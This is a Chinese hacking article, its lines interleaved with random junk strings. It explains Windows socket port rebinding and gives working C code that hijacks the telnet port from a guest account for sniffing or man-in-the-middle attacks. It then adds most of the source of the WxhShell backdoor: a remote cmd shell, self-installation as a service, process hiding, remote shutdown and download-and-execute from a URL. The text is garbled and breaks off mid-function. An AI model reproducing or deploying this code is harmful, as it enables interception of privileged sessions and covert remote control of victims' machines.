在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
U:$`M,762Z s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
T8j<\0WW 0+A#k7c6p saddr.sin_family = AF_INET;
}5X.*wz aecvz0}@R saddr.sin_addr.s_addr = htonl(INADDR_ANY);
rPHM_fW(O@ 6-nf+!#G bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
W5&KmA uLN.b339 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
/]nrxT nH[>Sff$ 这意味着什么?意味着可以进行如下的攻击:
zEeix,IU r&XxF> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
X0KUnxw EV~?]Kt~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
/EvT%h?p +H!aE} 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
X)8Edw[?N3 E7]a# 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
&7c #i .O
PBET(gv 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
@$wfE\_L vNU[ K%U 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
S @)P# AgdU@&^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
`1R[J4e u 0 K1n_ #include
McvLU+ #include
QwI HEmdM #include
<Oj'0NK- #include
)/{~&LU DWORD WINAPI ClientThread(LPVOID lpParam);
e#?rK=C?9 int main()
@t8{pb;v {
<|:$_&( WORD wVersionRequested;
l+O\oD?- DWORD ret;
dwm>!h WSADATA wsaData;
' PmBNT BOOL val;
@Lm (bW SOCKADDR_IN saddr;
83{v_M SOCKADDR_IN scaddr;
FFf
~Vmw int err;
v<?k$ e5 SOCKET s;
Zg >!5{T SOCKET sc;
xllmF)]*Y int caddsize;
!(N,tZ HANDLE mt;
Uql7s:!,U DWORD tid;
R"QWap} wVersionRequested = MAKEWORD( 2, 2 );
p2m`pT err = WSAStartup( wVersionRequested, &wsaData );
mmEe@-lE if ( err != 0 ) {
o31pF printf("error!WSAStartup failed!\n");
<9?`zo$y return -1;
pKk{Q0Rt }
iIg99c7/&9 saddr.sin_family = AF_INET;
TK%MVL TK U9q6m3#$ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
O,7*dniH t$*CyYb{@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
IN!IjInaT@ saddr.sin_port = htons(23);
X(K5>L> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
7p,!<X}% {
X!0m, printf("error!socket failed!\n");
ww~gmz return -1;
" G0HsXi }
mRY~)<!4& val = TRUE;
u_ym=N57` //SO_REUSEADDR选项就是可以实现端口重绑定的
5> =Ia@I
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
+?bOGUik {
n6
AP6PK7 printf("error!setsockopt failed!\n");
`T$CUlt6 return -1;
/%h<^YDBf }
ZCCwx71j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
>*[Bq; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
.tRWL! //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
%!Ak]|[7 $5#+;A'Q+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
wLH[rwPr {
4w0Y(y ret=GetLastError();
ADN printf("error!bind failed!\n");
Nn|~:9# return -1;
;/.XAxkFL }
C<\O;-nHH listen(s,2);
a$'=a09 while(1)
{afR?3GK {
hKYA 5] caddsize = sizeof(scaddr);
bZ*J]1y(. //接受连接请求
)]C7+{ImC sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
`SO"F, if(sc!=INVALID_SOCKET)
M `bEnu {
*%xmCPJ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
H0\5a|X- if(mt==NULL)
HX:rVHY {
! <xe Ao%8 printf("Thread Creat Failed!\n");
]
6rr;S break;
`?R~iLIAq }
rN%aP-sa< }
!FVXNl CloseHandle(mt);
!`%3?}mv, }
l~V^ closesocket(s);
IT_Fs|$ WSACleanup();
Lz'05j3! return 0;
i0-zGEMB. }
h tn?iLq DWORD WINAPI ClientThread(LPVOID lpParam)
_PeBV< {
PI0[ SOCKET ss = (SOCKET)lpParam;
U`fxe`nVa SOCKET sc;
G&/RJLX|w unsigned char buf[4096];
2nGQD{ SOCKADDR_IN saddr;
U^$o<2 long num;
1]uHaI( DWORD val;
k6vY/)-S DWORD ret;
jI(}CT`g //如果是隐藏端口应用的话,可以在此处加一些判断
ovn)lIs //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
?lYi![.o saddr.sin_family = AF_INET;
0 oFRcU saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
g&30@D" saddr.sin_port = htons(23);
kU5chltGF if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
P]4C/UDS-~ {
,nELWzz%{ printf("error!socket failed!\n");
cDS6RO? return -1;
SBY
}
N| dwuBW val = 100;
jz_\B(m9% if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
eVZ/3o {
0b0.xz\~U ret = GetLastError();
4epE!`z_& return -1;
U[b$VZ} }
Ih]'OaE if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
C"I:^&sL {
W`KRaL0^ ret = GetLastError();
sILkTzsw return -1;
vt" 7[!O }
b NBpt}$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
%z&=A%'a {
, wT$L3 printf("error!socket connect failed!\n");
Pd@y+| closesocket(sc);
&xlz80% closesocket(ss);
S"iz
fQ@ return -1;
z
(,%<oX }
&n.7~C]R while(1)
h5-<2B| {
gu[3L //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
%G& Zm$u= //如果是嗅探内容的话,可以再此处进行内容分析和记录
!YlyUHD //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
^h
z4IZ^ num = recv(ss,buf,4096,0);
821@qr|`e if(num>0)
!tkP!%w send(sc,buf,num,0);
M~Yho". else if(num==0)
aO9a G*9T break;
t'bzhPQO)f num = recv(sc,buf,4096,0);
$\xS~w if(num>0)
&}P{w send(ss,buf,num,0);
&y?L^Aq else if(num==0)
@tvAI2W break;
jrGVC2*rD }
}|
BnG"8 closesocket(ss);
|0vV?f$ closesocket(sc);
m"P"iK/Av( return 0 ;
#\kYGr-G) }
w\U
fq Zk*/~f|\ ALqP;/ ==========================================================
$*ujX,}xG %a;N)1/ 下边附上一个代码,,WXhSHELL
K8{U b V45\.V ==========================================================
sGjYL>* 1=x4m=wV #include "stdafx.h"
iX8&mUR PSX-b)wb #include <stdio.h>
Z !Njfq5 #include <string.h>
X8uVet]D~ #include <windows.h>
KS($S(Fi #include <winsock2.h>
5`oVyxJ< #include <winsvc.h>
F0O"rN{ #include <urlmon.h>
<4,n6$E sM)n-Yy#9 #pragma comment (lib, "Ws2_32.lib")
|tC`rzo #pragma comment (lib, "urlmon.lib")
jX5lwP
Q|F R9X*R3nB #define MAX_USER 100 // 最大客户端连接数
dALJlRo" #define BUF_SOCK 200 // sock buffer
qF m=(J% #define KEY_BUFF 255 // 输入 buffer
&?\ h[3 Fw!CssW #define REBOOT 0 // 重启
W)I)QinOH #define SHUTDOWN 1 // 关机
Ay'2!K,I +$Q33@F5l #define DEF_PORT 5000 // 监听端口
RX.n7Tb hC@oyC(4 #define REG_LEN 16 // 注册表键长度
SsiKuoxk #define SVC_LEN 80 // NT服务名长度
Mq!03q6 iJ
HOLz"! // 从dll定义API
j8*fa typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
p!<Y 'G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
+qsNz*@p" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
;C=C`$Q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
j,")c'r&dD `N%q^f~ // wxhshell配置信息
Rckqr7q struct WSCFG {
AyZL( int ws_port; // 监听端口
s u]x char ws_passstr[REG_LEN]; // 口令
M&Aeh8>uX int ws_autoins; // 安装标记, 1=yes 0=no
+~lZ]a7k char ws_regname[REG_LEN]; // 注册表键名
F.i%o2P3 char ws_svcname[REG_LEN]; // 服务名
aW-'Jg=@H^ char ws_svcdisp[SVC_LEN]; // 服务显示名
{f;] char ws_svcdesc[SVC_LEN]; // 服务描述信息
U5 ~L^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ZW\}4q;[A int ws_downexe; // 下载执行标记, 1=yes 0=no
EAYx+zI char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
JAM4
R_ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
x}I'W?g g+Z~"O]$M };
K@u\^6419 A7!!kR": // default Wxhshell configuration
-gZI^EII struct WSCFG wscfg={DEF_PORT,
R(Y4n w+Y- "xuhuanlingzhe",
N<V,5 1,
bgs2~50 "Wxhshell",
).HYW _Yih "Wxhshell",
.iFd "WxhShell Service",
wmh[yYWc "Wrsky Windows CmdShell Service",
,&$w*D% "Please Input Your Password: ",
/ 0Z_$Q&e 1,
cX'&J_T+ "
http://www.wrsky.com/wxhshell.exe",
?0HPd5=<v "Wxhshell.exe"
jFYv4!\ju };
n~xh
%r; NQCJ '%L6 // 消息定义模块
`* !t<?$i char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
S7SD$+fX char *msg_ws_prompt="\n\r? for help\n\r#>";
FL-yt char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Bd8,~8 char *msg_ws_ext="\n\rExit.";
Y/Yp+W6n char *msg_ws_end="\n\rQuit.";
,1+AfI char *msg_ws_boot="\n\rReboot...";
<=KtRE>$ char *msg_ws_poff="\n\rShutdown...";
|1vikG8 char *msg_ws_down="\n\rSave to ";
j_2- PS ,@ \ char *msg_ws_err="\n\rErr!";
qF!oP char *msg_ws_ok="\n\rOK!";
XBi}hT 6\4~&+;wL char ExeFile[MAX_PATH];
u
Ey>7I int nUser = 0;
]AjDe] HANDLE handles[MAX_USER];
M7rVH\:[- int OsIsNt;
=1' / ? /$v0Rq9 SERVICE_STATUS serviceStatus;
-:w+`x?XaB SERVICE_STATUS_HANDLE hServiceStatusHandle;
rOC2 S(m ~Xa8\> // 函数声明
0zR4Kj7EE int Install(void);
83io@*D int Uninstall(void);
A8bDg:G1i int DownloadFile(char *sURL, SOCKET wsh);
Ra%" += int Boot(int flag);
k.b->U void HideProc(void);
P9j[
NEV int GetOsVer(void);
+z/_'DE int Wxhshell(SOCKET wsl);
=<nx[J void TalkWithClient(void *cs);
^(5Up=.EA int CmdShell(SOCKET sock);
|> mx*G int StartFromService(void);
-X#Zn># int StartWxhshell(LPSTR lpCmdLine);
WJ)( *1 Ji<^s@8Zc VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
34lt?6%j VOID WINAPI NTServiceHandler( DWORD fdwControl );
tE"aNA#= 1+\ZLy!5: // 数据结构和表定义
s&-m!|P SERVICE_TABLE_ENTRY DispatchTable[] =
G 2L?j {
xE+Nz5F {wscfg.ws_svcname, NTServiceMain},
~/0t<^ {NULL, NULL}
o' U:: };
,'~8{,h5 ZMs$C3 // 自我安装
yHS=8! int Install(void)
hrsMAh! {
}*4K{<02 char svExeFile[MAX_PATH];
%au2kG, HKEY key;
fI:j@Wug strcpy(svExeFile,ExeFile);
.<Y7,9;YEF [se J'Io // 如果是win9x系统,修改注册表设为自启动
y%* hHnGd if(!OsIsNt) {
*`]LbS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
d51.Tbt#%7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
f|eUpf%) RegCloseKey(key);
f=0U&~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
FbxrBM RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
eJWcrVpn RegCloseKey(key);
.L;M-`^ return 0;
TiiMX }
[T 8BQn! }
9d7`R' }
ySyA!Z else {
v6r,2Va/ U&DD+4+28: // 如果是NT以上系统,安装为系统服务
)2
E7>SQc~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
]w2nVC3 if (schSCManager!=0)
}u"iA^'Ot {
(of=hzT^? SC_HANDLE schService = CreateService
3LT[?C]H$ (
83rtQ;L schSCManager,
:u}FF"j wscfg.ws_svcname,
Jzqv6A3G wscfg.ws_svcdisp,
>lZ9Y{Y4v SERVICE_ALL_ACCESS,
4~;x(e@S SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
TL%2?'G SERVICE_AUTO_START,
}=) SERVICE_ERROR_NORMAL,
3ya_47D svExeFile,
D]NfA2B7 NULL,
UZsn14xSA NULL,
d9'gH#f? NULL,
TF_~)f(` NULL,
~0S_S +e NULL
u 3&9R)J1 );
Z_Tu*
F if (schService!=0)
.W>LsEk {
XYeuYLut CloseServiceHandle(schService);
VK7lm|J+ CloseServiceHandle(schSCManager);
Q]9g
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
sA(
e strcat(svExeFile,wscfg.ws_svcname);
-Xm/sq(i)% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
}jF67c-> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
(<|NerwD RegCloseKey(key);
X?p.U return 0;
9d4Agj
M }
[QC|Kd^# }
}Xn5M&>? CloseServiceHandle(schSCManager);
<F~0D0G }
C7|zDJ_ }
U
_QCe+ r-Nv<oH; return 1;
Vn4y^_H }
=D 1%-ym KJ/
*BBf // 自我卸载
bf9LR1 int Uninstall(void)
)0RznFJ+X {
:fxG]uf-P HKEY key;
L.5 /wg #!a}ZhIt if(!OsIsNt) {
C(t>ZR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
p3sR>ToJ RegDeleteValue(key,wscfg.ws_regname);
BQ We8D RegCloseKey(key);
@vy{Q7aM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jJ(()EJ RegDeleteValue(key,wscfg.ws_regname);
ukZ>_ke`+ RegCloseKey(key);
5]c'n return 0;
TB!z:n }
6*!R' }
UK{6Rh ; }
epWTZV(1x else {
Rds_Cd C s>A!Egmo SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
^e<"`e if (schSCManager!=0)
IW Ro$Yu {
yA74Rxl*6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3hN.`G-E if (schService!=0)
f{m,?[1C, {
e:&+m `OSH if(DeleteService(schService)!=0) {
-#9Hb.Q; CloseServiceHandle(schService);
st|;]q9? CloseServiceHandle(schSCManager);
=th(Hdk17 return 0;
E{Gkq: }
Rh=,]Y CloseServiceHandle(schService);
v,=[!=8! }
o$S/EZ CloseServiceHandle(schSCManager);
,wyfMOGLt }
+{qX, }
t[L_n m5- , Ww\C return 1;
f{} zqCK }
47GL[ofY Aqc
Cb[1r // 从指定url下载文件
~^6[SbVb int DownloadFile(char *sURL, SOCKET wsh)
m'L7K K-Y) {
o@p(8=x HRESULT hr;
MS_@
Xe char seps[]= "/";
*@E Itj ` char *token;
FuA8vTV{ char *file;
SO~]aFoYt char myURL[MAX_PATH];
M[;N6EJH char myFILE[MAX_PATH];
-zzM!1@F m|7lDfpb strcpy(myURL,sURL);
)ZyEn% token=strtok(myURL,seps);
xh7[{n[; while(token!=NULL)
ftL>oOz[ {
Ps0g file=token;
[f_4%Now token=strtok(NULL,seps);
n@hf{hA[a }
$. ;j4%% gwf*M3( GetCurrentDirectory(MAX_PATH,myFILE);
z>,fuR?9 strcat(myFILE, "\\");
wFgL\[$^| strcat(myFILE, file);
-w0U}Te^ send(wsh,myFILE,strlen(myFILE),0);
gypE~@ send(wsh,"...",3,0);
yf KJpy hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
d )}@0Q if(hr==S_OK)
!<ae~#]3P return 0;
h-^7cHI} else
&oA p[] return 1;
EB/.M+~a 'CrBxaA]s }
75O-%9lFF z3RlD"F1 // 系统电源模块
YivWvV int Boot(int flag)
*jBn
^ {
nA!Xb'y& HANDLE hToken;
:4{;^|RgU TOKEN_PRIVILEGES tkp;
:HJ@/s!J ]h
Dy] if(OsIsNt) {
Kn#3^>D OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Ww{|:>j LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
!'-|]xx( tkp.PrivilegeCount = 1;
7\BGeI tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
D92#&,KD AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
F$Cf\#{3 if(flag==REBOOT) {
,| \62B` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
^'g1? F$_ return 0;
?~mw }
SqiLp!Y` else {
Ly0U')D: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%cWy0:F5VY return 0;
`=]I-5#.W }
P5:X7[ }
,W'?F9Y\ else {
O_PKS$sz{ if(flag==REBOOT) {
\Z +O9T% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
{
.z6J)?J2 return 0;
$
}u,uI }
(Ea)`'/ else {
=5JTVF if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
bdn{Y return 0;
u6~|].j R }
nUZ+N)* }
V9v80e {n4 zUw9 return 1;
qR
WWG& }
[WOLUb !wws9 // win9x进程隐藏模块
l!B)1 void HideProc(void)
] M"l-A {
KcGM=z?: &ZjQa.-U> HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
#&Zb8HAj if ( hKernel != NULL )
oQrkd: {
#j_<iy pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
*):x K;o ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
^-CQ9r* FreeLibrary(hKernel);
SX$Nef9p }
-{
Ng6ntS ,g R9~k, return;
Kn]c4h}@b5 }
q@;z((45 ?i.]|#{Z // 获取操作系统版本
a95QDz int GetOsVer(void)
!aSu;Ln {
}gE?ms4$ OSVERSIONINFO winfo;
! H)D@,@ & winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
3pSkk GetVersionEx(&winfo);
@"*8nV# if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
u`l1
zMk return 1;
B!vI^W else
*"N756Cj return 0;
1D
/{Y }
mdu5aL 8^3Z]=(Q // 客户端句柄模块
Fe(qf>E int Wxhshell(SOCKET wsl)
i,=CnZCh {
m6P!#=a:l< SOCKET wsh;
M1Jnn4w*d struct sockaddr_in client;
Y4PB&pZ$O2 DWORD myID;
w5I
+5/I +jcg[|-'/ while(nUser<MAX_USER)
+DwyMzeE {
mlgw0 int nSize=sizeof(client);
K0xZZ` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
0&1!9-(d if(wsh==INVALID_SOCKET) return 1;
h9)QQPP h"S+8Y:1{k handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
rC>')`uk if(handles[nUser]==0)
/cBQE=]6 closesocket(wsh);
s)q;{wz else
gB!K{ Io' nUser++;
Ly?yWS-x }
f`X#1w9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
?`Oh]2n)6 7Zl-| return 0;
F`9;s@V* }
{0fQ"))" ]k[y#oB // 关闭 socket
Az2HlKF"L void CloseIt(SOCKET wsh)
3AWNoXh {
$wa )e closesocket(wsh);
~%9ofXy nUser--;
pQaP9Y{OK ExitThread(0);
bdiyS.a- }
U!sv6=(y@ kI974:e42 // 客户端请求句柄
s}Q%]W void TalkWithClient(void *cs)
S8+Xk= x {
;|v6^2H" QKYGeT7&Y' SOCKET wsh=(SOCKET)cs;
zmI?p4, char pwd[SVC_LEN];
z<~gv" char cmd[KEY_BUFF];
8Ua;< h% char chr[1];
v~:$]a8 int i,j;
M>df7.N7%P 4*9y4" while (nUser < MAX_USER) {
IAbK]kA _p vL b if(wscfg.ws_passstr) {
>a98H4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-`6O(he //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
AF5.gk= //ZeroMemory(pwd,KEY_BUFF);
4
Y q|Z i=0;
Sk@~} while(i<SVC_LEN) {
/ve8);cH\ fSdv%$;Hc // 设置超时
@9|sNS fd_set FdRead;
eRllF `* struct timeval TimeOut;
(6p5Fo FD_ZERO(&FdRead);
?\:ysTVu FD_SET(wsh,&FdRead);
}pKHa'/\ TimeOut.tv_sec=8;
hqVx%4s*J
TimeOut.tv_usec=0;
VmrW\rH@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
ni gp83: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
}2M2R}D ):C4"2l3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
KLlo^1.< pwd
=chr[0]; b9HE #*d,
if(chr[0]==0xd || chr[0]==0xa) { pDD0 QO
pwd=0; O&]Y.Z9,A
break; bh:;ovH
} Kx 6_Vp
i++; uj_uj!
} ~DcX}VCm
c]O3pcU
// 如果是非法用户,关闭 socket EKf"e*|(L
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :h1itn
} nK Rx_D$d
[Fe`}F}Co8
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q%#dx4z&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $Y][-8{t
nn$,|/
while(1) { xtN%v0ZZ
)DuOo83n["
ZeroMemory(cmd,KEY_BUFF);
Mi.xay%
5SFeJBS
// 自动支持客户端 telnet标准 "y/GK1C
j=0; f;#hcRSH
while(j<KEY_BUFF) { 6Km@A M]
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e4Ol:V
cmd[j]=chr[0]; dNG>:p
if(chr[0]==0xa || chr[0]==0xd) { MsCY5g
cmd[j]=0; @rkNx@[~
break; ;id0|x
} -uenCWF\#
j++; r8+{HknB;
} $@[6j y
fLAOA9
// 下载文件 U,Nf&g
if(strstr(cmd,"http://")) { Q&^ti)vB
send(wsh,msg_ws_down,strlen(msg_ws_down),0); !HM{imT
if(DownloadFile(cmd,wsh)) \MQ|(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4dv+RRpGOv
else B|gyr4]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zz=+?L
} XJDp%B
else { cF3V{b|bU
i1ur>4Ns
switch(cmd[0]) { BdB/`X*
T?:Vw laE
// 帮助 BftW<1,U^
case '?': { 6;9SU+/
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `Q^G
k{9P
break; q5YgKz?IC
} 8v\BW^z3
// 安装 )FGm5-K@
case 'i': { ZJ'#XZpr
if(Install()) w0x,~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6:i{_YX(.S
else 5X4; (Qj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]6Kx0mW
break; \ $}^u5Y
} F]@vmzr
// 卸载 i-~HT4iw
case 'r': { %fnL
if(Uninstall()) '@i/?rNi%N
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sL75C|f9
else x6\EU=,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6MvjNbQ
break; \"{+J
} uV`r_P
// 显示 wxhshell 所在路径 }p$>V,u
case 'p': { thIuK V{CO
char svExeFile[MAX_PATH]; b/HhGA0
strcpy(svExeFile,"\n\r"); 4UT%z}[!
strcat(svExeFile,ExeFile); ~cQ./G4
send(wsh,svExeFile,strlen(svExeFile),0); <R582$( I
break; C;];4[XR
} -61{ MMiA
// 重启 1p=^I'#
case 'b': { A-Be}A
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z5/^pyc
if(Boot(REBOOT)) K?o( zh;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q@8Jc[\d
else { WcqQR))n
closesocket(wsh); / E}L%OvE
ExitThread(0); )0UVT[7
} /#lhRNX
break; b6Pi:!4
} e=&,jg?K
// 关机 W{:^P0l
case 'd': { 8Yc'4v#}
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L"{qF<@V7&
if(Boot(SHUTDOWN)) rT7W_[&P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cl#PYB{1Y
else { 6U~AKq"+f
closesocket(wsh); 1=:=zyEEo
ExitThread(0); "TEF
} l*~O;do
break; 'Dw+k;RH
} `u6CuH5
// 获取shell ~SUrbRaY>
case 's': { }zC9;R(E
CmdShell(wsh); zGgPW
closesocket(wsh); :0N}K}
ExitThread(0); Pt< JF
break; PJ}d-
} 8p D$/
// 退出 w3l2u1u
case 'x': { m#6RJbEz
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )+ifVv50
CloseIt(wsh); j'r"_*%
break; 4P(muOS
} `R[cM; c2
// 离开 'kU5
case 'q': { >}<1
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xb#!1hA
closesocket(wsh); 8R|!$P
WSACleanup(); h; " 9.
exit(1); W
D 8
break; j=|cx+nb
} p1tqwV
} IE*eDj
} >D]g:t@v
D!7-(3R
// 提示信息 PgOOFRwP
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ((0nJJjz
} }fC=
} RTC;Wj
<c'0-=
return; .cks){\
} `>ppDQaS)W
H!SFSgAu
// shell模块句柄 IQZ/8UwB
int CmdShell(SOCKET sock) o6bT.{8\
{ suOWmqLs
STARTUPINFO si; ,X`w/ 2O
ZeroMemory(&si,sizeof(si)); ;Aqj$ x
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >lPWji'4;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T'6MAxEZUq
PROCESS_INFORMATION ProcessInfo; U80h0t%
char cmdline[]="cmd"; `:b*#@
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?iXN..6x
return 0; 8MQb5( !
} I9
(6
WwDd62g
// 自身启动模式 LNNwy:_ !
int StartFromService(void) !d.bCE~
{ i}Q"'?
typedef struct -v %n@8p
{ uH{oJSrK
DWORD ExitStatus; "ov270:
DWORD PebBaseAddress; 8
$qj&2 N
DWORD AffinityMask; xeNj@\jdC5
DWORD BasePriority; OsT|MX
ULONG UniqueProcessId; /SW*y@R2l
ULONG InheritedFromUniqueProcessId; Q{[l1:
